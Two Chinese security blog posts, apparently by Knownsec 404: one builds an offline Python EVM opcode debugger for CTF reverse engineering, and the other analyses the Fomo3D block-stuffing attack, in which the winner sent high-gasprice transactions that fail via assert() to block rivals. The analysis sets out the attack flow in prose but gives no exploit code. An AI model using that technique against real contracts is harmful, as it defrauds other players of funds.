-
以太坊智能合约 OPCODE 逆向之调试器篇
作者:Hcamael@知道创宇404区块链安全研究团队
时间:2018/09/04上一篇《以太坊智能合约 OPCODE 逆向之理论基础篇》,对智能合约的OPCODE的基础数据结构进行了研究分析,本篇将继续深入研究OPCODE,编写一个智能合约的调试器。 Remix调试器
Remix带有一个非常强大的
Debugger
,当我的调试器写到一半的时候,才发现了Remix自带调试器的强大之处,本文首先,对Remix的调试器进行介绍。能调试的范围:
1. 在Remix上进行每一个操作(创建合约/调用合约/获取变量值)时,在执行成功后,都能在下方的控制界面点击
DEBUG
按钮进行调试2. Debugger能对任意交易进行调试,只需要在调试窗口输入对应交易地址
3. 能对公链,测试链,私链上的任意交易进行调试
点击
Environment
可以对区块链环境进行设置,选择Injected Web3
,环境取决去浏览器安装的插件比如我,使用的浏览器是
Chrome
,安装的插件是MetaMask通过
MetaMask
插件,我能选择环境为公链或者是测试链,或者是私链当
Environment
设置为Web3 Provider
可以自行添加以太坊区块链的RPC节点,一般是用于设置环境为私链4. 在JavaScript的EVM环境中进行调试
见3中的图,把
Environment
设置为JavaScript VM
则表示使用本地虚拟环境进行调试测试在调试的过程中能做什么?
Remix的调试器只提供了详细的数据查看功能,没法在特定的指令对
STACK/MEM/STORAGE
进行操作在了解清楚Remix的调试器的功能后,感觉我进行了一半的工作好像是在重复造轮子。
之后仔细思考了我写调试器的初衷,今天的WCTF有一道以太坊智能合约的题目,因为第一次认真的逆向EVM的OPCODE,不熟练,一个下午还差一个函数没有逆向出来,然后比赛结束了,感觉有点遗憾,如果当时能动态调试,可能逆向的速度能更快。
Remix的调试器只能对已经发生的行为(交易)进行调试,所以并不能满足我打CTF的需求,所以对于我写的调试器,我转换了一下定位:调试没有源码,只有OPCODE的智能合约的逻辑,或者可以称为离线调试。
调试器的编写
智能合约调试器的编写,我认为最核心的部分是实现一个OPCODE解释器,或者说是自己实现一个EVM。
实现OPCODE解释器又分为两部分,1. 设计和实现数据储存器(把STACK/MEM/STORAGE统称为数据储存器),2. 解析OPCODE指令
数据储存器
STACK
根据OPCODE指令的情况,EVM的栈和计算机的栈数据结构是一个样的,先入先出,都有
PUSH
和POP
操作。不过EVM的栈还多了SWAP
和DUP
操作,栈交换和栈复制,如下所示,是我使用Python
实现的EVM栈类:123456789101112131415161718192021222324252627282930313233<span class="token keyword">class</span> STACK<span class="token punctuation">(</span>Base<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"evm stack<span class="token string">""</span>"stack<span class="token punctuation">:</span> <span class="token punctuation">[</span>int<span class="token punctuation">]</span>max_value<span class="token punctuation">:</span> int<span class="token keyword">def</span> __init__<span class="token punctuation">(</span>self<span class="token punctuation">)</span><span class="token punctuation">:</span>self<span class="token punctuation">.</span>stack <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>self<span class="token punctuation">.</span>max_value <span class="token operator">=</span> <span class="token number">2</span><span class="token operator">*</span><span class="token operator">*</span><span class="token number">256</span><span class="token keyword">def</span> push<span class="token punctuation">(</span>self<span class="token punctuation">,</span> data<span class="token punctuation">:</span> int<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"OPCODE<span class="token punctuation">:</span> PUSH<span class="token string">""</span>"self<span class="token punctuation">.</span>stack<span class="token punctuation">.</span>append<span class="token punctuation">(</span>data <span class="token operator">%</span> self<span class="token punctuation">.</span>max_value<span class="token punctuation">)</span><span class="token keyword">def</span> pop<span class="token punctuation">(</span>self<span class="token punctuation">)</span> <span class="token operator">-</span>> <span class="token punctuation">(</span>int<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"OPCODE POP<span class="token string">""</span>"<span class="token keyword">return</span> self<span class="token punctuation">.</span>stack<span class="token punctuation">.</span>pop<span class="token punctuation">(</span><span class="token punctuation">)</span>@Base<span class="token punctuation">.</span>stackcheck<span class="token keyword">def</span> swap<span class="token punctuation">(</span>self<span class="token punctuation">,</span> n<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"OPCODE<span class="token punctuation">:</span> SWAPn<span class="token punctuation">(</span><span class="token number">1</span><span class="token operator">-</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token string">""</span>"tmp <span class="token operator">=</span> self<span class="token punctuation">.</span>stack<span class="token punctuation">[</span><span class="token operator">-</span>n<span class="token number">-1</span><span class="token punctuation">]</span>self<span class="token punctuation">.</span>stack<span class="token punctuation">[</span><span class="token operator">-</span>n<span class="token number">-1</span><span class="token punctuation">]</span> <span class="token operator">=</span> self<span class="token punctuation">.</span>stack<span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span>self<span class="token punctuation">.</span>stack<span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> tmp@Base<span class="token punctuation">.</span>stackcheck<span class="token keyword">def</span> dup<span class="token punctuation">(</span>self<span class="token punctuation">,</span> n<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"OPCODE<span class="token punctuation">:</span> DUPn<span class="token punctuation">(</span><span class="token number">1</span><span class="token operator">-</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token string">""</span>"self<span class="token punctuation">.</span>stack<span class="token punctuation">.</span>append<span class="token punctuation">(</span>self<span class="token punctuation">.</span>stack<span class="token punctuation">[</span><span class="token operator">-</span>n<span class="token punctuation">]</span><span class="token punctuation">)</span>和计算机的栈比较,我觉得EVM的栈结构更像Python的List结构
计算机的栈是一个地址储存一个字节的数据,取值可以精确到一个字节,而EVM的栈是分块储存,每次PUSH占用一块,每次POP取出一块,每块最大能储存32字节的数据,也就是
2^256-1
,所以上述代码中,对每一个存入栈中的数据进行取余计算,保证栈中的数据小于2^256-1
MEM
EVM的内存的数据结构几乎和计算机内存的一样,一个地址储存一字节的数据。在EVM中,因为栈的结构,每块储存的数据最大为
256bits
,所以当OPCODE指令需要的参数长度可以大于256bits
时,将会使用到内存如下所示,是我使用
Python
实现的MEM内存类:1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980<span class="token keyword">class</span> MEM<span class="token punctuation">(</span>Base<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"EVM memory<span class="token string">""</span>"mem<span class="token punctuation">:</span> bytearraymax_value<span class="token punctuation">:</span> intlength<span class="token punctuation">:</span> int<span class="token keyword">def</span> __init__<span class="token punctuation">(</span>self<span class="token punctuation">)</span><span class="token punctuation">:</span>self<span class="token punctuation">.</span>mem <span class="token operator">=</span> bytearray<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>self<span class="token punctuation">.</span>max_value <span class="token operator">=</span> <span class="token number">2</span><span class="token operator">*</span><span class="token operator">*</span><span class="token number">256</span>self<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">0</span>self<span class="token punctuation">.</span>extend<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>@Base<span class="token punctuation">.</span>memcheck<span class="token keyword">def</span> set<span class="token punctuation">(</span>self<span class="token punctuation">,</span> key<span class="token punctuation">:</span> int<span class="token punctuation">,</span> value<span class="token punctuation">:</span> int<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"OPCODE<span class="token punctuation">:</span> MSTORE<span class="token string">""</span>"value <span class="token operator">%</span><span class="token operator">=</span> self<span class="token punctuation">.</span>maxself<span class="token punctuation">.</span>mem<span class="token punctuation">[</span>key<span class="token punctuation">:</span> key<span class="token operator">+</span><span class="token number">0x20</span><span class="token punctuation">]</span> <span class="token operator">=</span> value<span class="token punctuation">.</span>to_bytes<span class="token punctuation">(</span><span class="token number">0x20</span><span class="token punctuation">,</span> <span class="token string">"big"</span><span class="token punctuation">)</span>self<span class="token punctuation">.</span>length <span class="token operator">+</span><span class="token operator">=</span> <span class="token number">0x20</span>@Base<span class="token punctuation">.</span>memcheck<span class="token keyword">def</span> set_byte<span class="token punctuation">(</span>self<span class="token punctuation">,</span> key<span class="token punctuation">:</span> int<span class="token punctuation">,</span> value<span class="token punctuation">:</span> int<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"OPCODE<span class="token punctuation">:</span> MSTORE8<span class="token string">""</span>"self<span class="token punctuation">.</span>mem<span class="token punctuation">[</span>key<span class="token punctuation">]</span> <span class="token operator">=</span> value <span class="token operator">&</span>amp<span class="token punctuation">;</span> <span class="token number">0xff</span>self<span class="token punctuation">.</span>length <span class="token operator">+</span><span class="token operator">=</span> length@Base<span class="token punctuation">.</span>memcheck<span class="token keyword">def</span> set_length<span class="token punctuation">(</span>self<span class="token punctuation">,</span> key<span class="token punctuation">:</span> int<span class="token punctuation">,</span> value<span class="token punctuation">:</span> int<span class="token punctuation">,</span> length<span class="token punctuation">:</span> int<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"OPCODE<span class="token punctuation">:</span> XXXXCOPY<span class="token string">""</span>"value <span class="token operator">%</span><span class="token operator">=</span> <span class="token punctuation">(</span><span class="token number">2</span><span class="token operator">*</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token operator">*</span>length<span class="token punctuation">)</span><span class="token punctuation">)</span>data <span class="token operator">=</span> value<span class="token punctuation">.</span>to_bytes<span class="token punctuation">(</span>length<span class="token punctuation">,</span> <span class="token string">"big"</span><span class="token punctuation">)</span>self<span class="token punctuation">.</span>mem<span class="token punctuation">[</span>key<span class="token punctuation">:</span> key<span class="token operator">+</span>length<span class="token punctuation">]</span> <span class="token operator">=</span> dataself<span class="token punctuation">.</span>length <span class="token operator">+</span><span class="token operator">=</span> length@Base<span class="token punctuation">.</span>memcheck<span class="token keyword">def</span> get<span class="token punctuation">(</span>self<span class="token punctuation">,</span> key<span class="token punctuation">:</span> int<span class="token punctuation">)</span> <span class="token operator">-</span>> <span class="token punctuation">(</span>int<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"OPCODE<span class="token punctuation">:</span> MLOAD<span class="token keyword">return</span> uint256<span class="token string">""</span>"<span class="token keyword">return</span> int<span class="token punctuation">.</span>from_bytes<span class="token punctuation">(</span>self<span class="token punctuation">.</span>mem<span class="token punctuation">[</span>key<span class="token punctuation">:</span> key<span class="token operator">+</span><span class="token number">0x20</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token string">"big"</span><span class="token punctuation">,</span> signed<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">)</span>@Base<span class="token punctuation">.</span>memcheck<span class="token keyword">def</span> get_bytearray<span class="token punctuation">(</span>self<span class="token punctuation">,</span> key<span class="token punctuation">:</span> int<span class="token punctuation">)</span> <span class="token operator">-</span>> <span class="token punctuation">(</span>bytearray<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"OPCODE<span class="token punctuation">:</span> MLOAD<span class="token keyword">return</span> <span class="token number">32</span> byte array<span class="token string">""</span>"<span class="token keyword">return</span> self<span class="token punctuation">.</span>mem<span class="token punctuation">[</span>key<span class="token punctuation">:</span> key<span class="token operator">+</span><span class="token number">0x20</span><span class="token punctuation">]</span>@Base<span class="token punctuation">.</span>memcheck<span class="token keyword">def</span> get_bytes<span class="token punctuation">(</span>self<span class="token punctuation">,</span> key<span class="token punctuation">:</span> int<span class="token punctuation">)</span> <span class="token operator">-</span>> <span class="token punctuation">(</span>bytes<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"OPCODE<span class="token punctuation">:</span> MLOAD<span class="token keyword">return</span> <span class="token number">32</span> bytes<span class="token string">""</span>"<span class="token keyword">return</span> bytes<span class="token punctuation">(</span>self<span class="token punctuation">.</span>mem<span class="token punctuation">[</span>key<span class="token punctuation">:</span> key<span class="token operator">+</span><span class="token number">0x20</span><span class="token punctuation">]</span><span class="token punctuation">)</span>@Base<span class="token punctuation">.</span>memcheck<span class="token keyword">def</span> get_length<span class="token punctuation">(</span>self<span class="token punctuation">,</span> key<span class="token punctuation">:</span>int <span class="token punctuation">,</span> length<span class="token punctuation">:</span> int<span class="token punctuation">)</span> <span class="token operator">-</span>> <span class="token punctuation">(</span>int<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"<span class="token keyword">return</span> mem int value<span class="token string">""</span>"<span class="token keyword">return</span> int<span class="token punctuation">.</span>from_bytes<span class="token punctuation">(</span>self<span class="token punctuation">.</span>mem<span class="token punctuation">[</span>key<span class="token punctuation">:</span> key<span class="token operator">+</span>length<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token string">"big"</span><span class="token punctuation">,</span> signed<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">)</span>@Base<span class="token punctuation">.</span>memcheck<span class="token keyword">def</span> get_length_bytes<span class="token punctuation">(</span>self<span class="token punctuation">,</span> key<span class="token punctuation">:</span>int <span class="token punctuation">,</span> length<span class="token punctuation">:</span> int<span class="token punctuation">)</span> <span class="token operator">-</span>> <span class="token punctuation">(</span>bytes<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"<span class="token keyword">return</span> mem bytes value<span class="token string">""</span>"<span class="token keyword">return</span> bytes<span class="token punctuation">(</span>self<span class="token punctuation">.</span>mem<span class="token punctuation">[</span>key<span class="token punctuation">:</span> key<span class="token operator">+</span>length<span class="token punctuation">]</span><span class="token punctuation">)</span>@Base<span class="token punctuation">.</span>memcheck<span class="token keyword">def</span> get_length_bytearray<span class="token punctuation">(</span>self<span class="token punctuation">,</span> key<span class="token punctuation">:</span>int <span class="token punctuation">,</span> length<span class="token punctuation">:</span> int<span class="token punctuation">)</span> <span class="token operator">-</span>> <span class="token punctuation">(</span>bytearray<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"<span class="token keyword">return</span> mem int value<span class="token string">""</span>"<span class="token keyword">return</span> self<span class="token punctuation">.</span>mem<span class="token punctuation">[</span>key<span class="token punctuation">:</span> key<span class="token operator">+</span>length<span class="token punctuation">]</span><span class="token keyword">def</span> extend<span class="token punctuation">(</span>self<span class="token punctuation">,</span> num<span class="token punctuation">:</span> int<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"extend mem space<span class="token string">""</span>"self<span class="token punctuation">.</span>mem<span class="token punctuation">.</span>extend<span class="token punctuation">(</span>bytearray<span class="token punctuation">(</span><span class="token number">256</span><span class="token operator">*</span>num<span class="token punctuation">)</span><span class="token punctuation">)</span>使用python3中的
bytearray
类型作为MEM的结构,默认初始化256B的内存空间,因为有一个OPCODE是MSIZE
:Get the size of active memory in bytes.
所以每次设置内存值时,都要计算
active memory
的size内存相关设置的指令分为三类
- MSTORE, 储存0x20字节长度的数据到内存中
- MSTORE8, 储存1字节长度的数据到内存中
- CALLDATACOPY(或者其他类似指令),储存指定字节长度的数据到内存中
所以对应的设置了3个不同的储存数据到内存中的函数。获取内存数据的类似。
STORAGE
EVM的STORAGE的数据结构和计算机的磁盘储存结构相差就很大了,STORAGE是用来储存全局变量的,全局变量的数据结构我在上一篇文章中分析过,所以在用Python实现中,我把STORAGE定义为了字典,相关代码如下:
123456789101112131415<span class="token keyword">class</span> STORAGE<span class="token punctuation">(</span>Base<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"EVM storage<span class="token string">""</span>"storage<span class="token punctuation">:</span> <span class="token punctuation">{</span>str<span class="token punctuation">:</span> int<span class="token punctuation">}</span>max<span class="token punctuation">:</span> int<span class="token keyword">def</span> __init__<span class="token punctuation">(</span>self<span class="token punctuation">,</span> data<span class="token punctuation">)</span><span class="token punctuation">:</span>self<span class="token punctuation">.</span>storage <span class="token operator">=</span> dataself<span class="token punctuation">.</span>max <span class="token operator">=</span> <span class="token number">2</span><span class="token operator">*</span><span class="token operator">*</span><span class="token number">256</span>@Base<span class="token punctuation">.</span>storagecheck<span class="token keyword">def</span> set<span class="token punctuation">(</span>self<span class="token punctuation">,</span> key<span class="token punctuation">:</span> str<span class="token punctuation">,</span> value<span class="token punctuation">:</span> int<span class="token punctuation">)</span><span class="token punctuation">:</span>self<span class="token punctuation">.</span>storage<span class="token punctuation">[</span>key<span class="token punctuation">]</span> <span class="token operator">=</span> value <span class="token operator">%</span> self<span class="token punctuation">.</span>max@Base<span class="token punctuation">.</span>storagecheck<span class="token keyword">def</span> get<span class="token punctuation">(</span>self<span class="token punctuation">,</span> key<span class="token punctuation">:</span> str<span class="token punctuation">)</span> <span class="token operator">-</span>> <span class="token punctuation">(</span>int<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token keyword">return</span> self<span class="token punctuation">.</span>storage<span class="token punctuation">[</span>key<span class="token punctuation">]</span>因为EVM中操作STORAGE的相关指令只有
SSTORE
和SLOAD
,所以使用python的dict类型作为STORAGE的结构最为合适解析OPCODE指令
对于OPCODE指令的解析难度不是很大,指令只占一个字节,所以EVM的指令最多也就256个指令(
0x00-0xff
),但是有很多都是处于UNUSE
,所以以后智能合约增加新指令后,调试器也要进行更新,因此现在写的代码需要具备可扩展性。虽然解析指令的难度不大,但是仍然是个体力活,下面先来看看OPCODE的分类OPCODE分类
在以太坊官方黄皮书中,对OPCODE进行了相应的分类:
0s: Stop and Arithmetic Operations (从0x00-0x0f的指令类型是STOP指令加上算术指令)
10s: Comparison & Bitwise Logic Operations (0x10-0x1f的指令是比较指令和比特位逻辑指令)
20s: SHA3 (目前0x20-0x2f只有一个SHA3指令)
30s: Environmental Information (0x30-0x3f是获取环境信息的指令)
40s: Block Information (0x40-0x4f是获取区块信息的指令)
50s: Stack, Memory, Storage and Flow Operations (0x40-0x4f是获取栈、内存、储存信息的指令和流指令(跳转指令))
60s & 70s: Push Operations (0x60-0x7f是32个PUSH指令,PUSH1-PUSH32)
80s: Duplication Operations (0x80-0x8f属于DUP1-DUP16指令)
90s: Exchange Operations (0x90-0x9f属于SWAP1-SWAP16指令)
a0s: Logging Operations (0xa0-0xa4属于LOG0-LOG4指令)
f0s: System operations (0xf0-0xff属于系统操作指令)
设计可扩展的解释器
首先,设计一个字节和指令的映射表:
1234567891011121314151617181920import typingclass OpCode(typing.NamedTuple):name: strremoved: int # 参数个数args: int # PUSH根据该参数获取opcode之后args字节的值作为PUSH的参数_OPCODES = {'00': OpCode(name = 'STOP', removed = 0, args = 0),......}for i in range(96, 128):_OPCODES[hex(i)[2:]] = OpCode(name='PUSH' + str(i - 95), removed=0, args=i-95)......# 因为编译器优化的问题,OPCODE中会出现许多执行不到的,UNUSE的指令,为防止解析失败,还要对UNUSE的进行处理for i in range(0, 256):if not _OPCODES.get(hex(i)[2:].zfill(2)):_OPCODES[hex(i)[2:].zfill(2)] = OpCode('UNUSE', 0, 0)然后就是设计一个解释器类:
12345678910111213141516171819202122232425<span class="token keyword">class</span> Interpreter<span class="token punctuation">:</span><span class="token string">""</span>"EVM Interpreter<span class="token string">""</span>"MAX <span class="token operator">=</span> <span class="token number">2</span><span class="token operator">*</span><span class="token operator">*</span><span class="token number">256</span>over <span class="token operator">=</span> <span class="token number">1</span>store<span class="token punctuation">:</span> EVMIO<span class="token comment">#############</span> <span class="token comment"># 0s: Stop and Arithmetic Operations</span> <span class="token comment">#############</span> @staticmethod<span class="token keyword">def</span> STOP<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"OPCODE<span class="token punctuation">:</span> <span class="token number">0x00</span><span class="token string">""</span>"Interpreter<span class="token punctuation">.</span>over <span class="token operator">=</span> <span class="token number">1</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"========Program STOP========="</span><span class="token punctuation">)</span>@staticmethod<span class="token keyword">def</span> ADD<span class="token punctuation">(</span>x<span class="token punctuation">:</span>int<span class="token punctuation">,</span> y<span class="token punctuation">:</span>int<span class="token punctuation">)</span><span class="token punctuation">:</span><span class="token string">""</span>"OPCODE<span class="token punctuation">:</span> <span class="token number">0x01</span><span class="token string">""</span>"r <span class="token operator">=</span> <span class="token punctuation">(</span>x <span class="token operator">+</span> y<span class="token punctuation">)</span> <span class="token operator">%</span> Interpreter<span class="token punctuation">.</span>MAXInterpreter<span class="token punctuation">.</span>store<span class="token punctuation">.</span>stack<span class="token punctuation">.</span>push<span class="token punctuation">(</span>r<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>- MAX变量用来控制计算的结果在256bits的范围内
- over变量用来标识程序是否执行结束
- store用来访问runtime变量: STACK, MEM, STORAGE
在这种设计模式下,当解释响应的OPCODE,可以直接使用
12args = [stack.pop() for _ in OpCode.removed]getattr(Interpreter, OpCode.name)(*args)特殊指令的处理思路
在OPCODE中有几类特殊的指令:
1. 获取区块信息的指令,比如:
NUMBER: Get the block’s number
该指令是获取当前交易打包进的区块的区块数(区块高度),解决这个指令有几种方案:
- 设置默认值
- 设置一个配置文件,在配置文件中设置该指令的返回值
- 调试者手动利用调试器设置该值
- 设置RPC地址,从区块链中获取该值
文章的开头提过了对我编写的调试器的定位问题,也正是因为遇到该类的指令,才去思考调试器的定位。既然已经打包进了区块,说明是有交易地址的,既然有交易地址,那完全可以使用Remix的调试器进行调试。
所以对我编写的调试器有了离线调试器的定位,采用上述方法中的前三个方法,优先级由高到低分别是,手动设置>配置文件设置>默认设置
2. 获取环境信息指令,比如:
ADDRESS: Get address of currently executing account.
获取当前合约的地址,解决方案如下:
- 设置默认值
- 设置一个配置文件,在配置文件中设置该指令的返回值
- 调试者手动利用调试器设置该值
获取环境信息的指令,因为调试的是OPCODE,没有源码,不需要部署,所以是没法通过RPC获取到的,只能由调试者手动设置
3. 日志指令
LOG0-LOG4: Append log record with no topics.
把日志信息添加到交易的回执单中
123456789101112131415> eth.getTransactionReceipt("0xe32b3751a3016e6fa5644e59cd3b5072f33f27f10242c74980409b637dbb3bdc"){blockHash: "0x04b838576b0c3e44ece7279b3b709e336a58be5786a83a6cf27b4173ce317ad3",blockNumber: 6068600,contractAddress: null,cumulativeGasUsed: 7171992,from: "0x915d631d71efb2b20ad1773728f12f76eeeeee23",gasUsed: 81100,logs: [],logsBloom: "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",status: "0x1",to: "0xd1ceeeefa68a6af0a5f6046132d986066c7f9426",transactionHash: "0xe32b3751a3016e6fa5644e59cd3b5072f33f27f10242c74980409b637dbb3bdc",transactionIndex: 150}上述就是获取一个交易的回执单,其中有一个
logs
列表,就是用来储存日志信息既然是在调试OPCODE,那么记录日志的操作就是没有必要的,因为调试的过程中能看到储存器/参数的情况,所以对于这类指令的操作,完全可以直接输出,或者不做任何处理(直接pass)
4. 系统操作指令
这类指令主要是外部调用相关的指令,比如可以创建合约的
CREATE
, 比如能调用其他合约的CALL
, 比如销毁自身,并把余额全部转给别人的SELFDESTRUCT
这类的指令我认为的解决办法只有: 调试者手动利用调试器设置该指令的返回值
调用这类函数的时候,我们完全能看到详细的参数值,所以完全可以手动的进行创建合约,调用合约等操作
总结
在完成一个OPCODE的解释器后,一个调试器就算完成了
3/4
, 剩下的工作就是实现自己想实现的调试器功能,比如下断点,查看栈内存储存数据等下面放一个接近成品的演示gif图:
智能合约审计服务
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)
欢迎扫码咨询:
区块链行业安全解决方案
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。
欢迎扫码咨询:
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/693/
没有评论 -
智能合约游戏之殇——类 Fomo3D 攻击分析
作者:LoRexxar'@知道创宇404区块链安全研究团队
时间:2018年8月23日2018年8月22日,以太坊上异常火爆的Fomo3D游戏第一轮正式结束,钱包开始为0xa169的用户最终拿走了这笔约10,469 eth的奖金,换算成人民币约2200万。
看上去只是一个好运的人买到了那张最大奖的“彩票”,可事实却是,攻击者凭借着对智能合约原理的熟悉,进行了一场精致的“攻击”!
这次攻击的结果,也直接影响了类Fomo3D的所有游戏,而且无法修复,无法避免,那么为什么会这样呢?
类Fomo3D
在分析整个事件之前,我们需要对类Fomo3D游戏的规则有一个基本的认识。
Fomo3D游戏最最核心的规则就是最后一个购买的玩家获得最大的利益
其中主要规则有这么几条:
- 游戏开始有24小时倒计时
- 每位玩家购买,时间就会延长30s
- 越早购买的玩家,能获得更多的分红
- 最后一个购买的玩家获得奖池中48%的eth
其中还有一些细致的规则:
- 每位玩家购买的是分红权,买的越多,分红权就会越多
- 每次玩家购买花费的eth会充入奖金池,而之前买过的玩家会获得分红
- 随着奖池的变化,key的价格会更高
换而言之,就是越早买的玩家优势越大。
最终,资金池里的 ETH 48%分配给获胜者, 2%分配给社区基金会,剩余的 50%按照四种团队模式进行分配。
游戏规则清楚之后,就很容易明白这个游戏吸引人的地方在哪,只要参与的人数够多,有人存在侥幸心理,就会有源源不断的人投入到游戏中。游戏的核心就在于,庄家要保证游戏规则的权威性,而区块链的可信以及不可篡改性,正是完美的匹配了这种模式。
简单来说,这是一个基于区块链可信原则而诞生的游戏,也同样是一场巨大的社会实验。
可,问题是怎么发生的呢?让我们一起来回顾一下事件。
事件回顾
2018年8月22日,以太坊上异常火爆的Fomo3D游戏第一轮正式结束,钱包开始为0xa169的用户最终拿走了这笔约10,469 eth的奖金。
看上去好像没什么问题,但事实真的是这样吗
在Fomo3D的规则基础上,用户a169在购买到最后一次key之后,游戏的剩余时间延长到了3分钟,在接下来的3分钟内,没有任何交易诞生。这3分钟时间,总共有12个区块被打包。但没有任何一个Fomo3D交易被打包成功。
除此之外,这部分区块数量也极少,而且伴随着数个合约交易失败的例子
这里涉及到最多的就是合约
0x18e1B664C6a2E88b93C1b71F61Cbf76a726B7801
,该合约在开奖的那段时间连续的失败交易,花费了巨量的手续费。而且最重要的是,该合约就是上面最后拿到Fomo3D大奖的用户所创建的
在这期间的每个区块中,都有这个合约发起的巨额eth手续费的请求。
攻击用户通过这种方式,阻塞了其他游戏者购买的交易,最后成功拿到了大奖。
那么为什么呢?
事件原理
在解释事件发生原理之前,我们需要先了解一下关于区块链底层的知识。
以太坊约14s左右会被挖出一个区块,一个区块中会打包交易,只有被打包的交易才会在链上永不可篡改。
所以为了奖励挖出区块的矿工,区块链上的每一笔交易都会消耗gas,这部分钱用于奖励矿工,而矿工会优先挑选gas消耗比较大的交易进行打包以便获得更大的利益,目前,一个区块的gas上限一般为8000000。
而对于每一笔交易来说,交易发起者也可以定义gas limit,如果交易消耗的gas总值超过gas limit,该交易就会失败,而大部分交易,会在交易失败时回滚。
为了让交易不回滚,攻击者还使用了一个特殊的指令
assert()
,这是一个类似于require的函数,他和require唯一的区别就是,当条件不满足时,assret会耗光所有的gas
。原理是因为在EVM底层的执行过程中,assret对应一个未定义过的操作符0xfe
,EVM返回invalid opcode error,并报错结束。而攻击者这里所做的事情呢,就是在确定自己是最后一个key的持有者时,发起超大gasprice的交易,如图所示:
当攻击者不断的发起高手续费的交易时,矿工会优先挑选这些高花费的交易打包,这段时间内,其他交易(包括所有以太坊链上发起的交易、Fomo3D的交易)都很难被矿工打包进入。这样一来,攻击者就有很高的概率成为最后一个持有key的赢家
整个攻击流程如下:
- Fomo3D倒计时剩下3分钟左右
- 攻击者购买了最后一个key
- 攻击者通过提前准备的合约发起大量消耗巨量gas的垃圾交易
- 3分钟内不断判断自己是不是最后一个key持有者
- 无人购买,成功获得大奖
在支付了大量以太币作为手续费之后,攻击者赢得了价值2200万人民币的最终大奖。
总结
自智能合约游戏中以类Fomo3D诞生之后,这类游戏就不断成为人们眼中的焦点,精巧的规则设计和社会原理再加上区块链特性,组成了这个看上去前景无限的游戏。Fomo3D自诞生以来就不断成为人们眼中的焦点,类Fomo3D游戏不断丛生。
随之而来的是,有无数黑客也在盯着这块大蛋糕,除了Fomo3D被盗事件以外, Last Winner等类Fomo3D也被黑产盯上...短短时间内,攻击者从中获利无数。
而我们仔细回顾事件发生的原因,我们却不难发现,类Fomo3D游戏核心所依赖的可信、不可篡改原则和区块链本身的特性
矿工利益最优原则
冲突,也就是说,只要矿工优先打包高手续费的交易,那么交易的顺序就是可控的!,那么规则本身就是不可信赖的。当你还在寻求棋局中的出路时,却发现棋盘已经不存在了。
当Fomo3D游戏失去了自己的安全、公平之后,对于试图从中投机的你,还会相信自己会是最后的赢家吗?
智能合约审计服务
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:
区块链行业安全解决方案
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。
欢迎扫码咨询:
REF
[1] Fomo3D https://exitscam.me/play
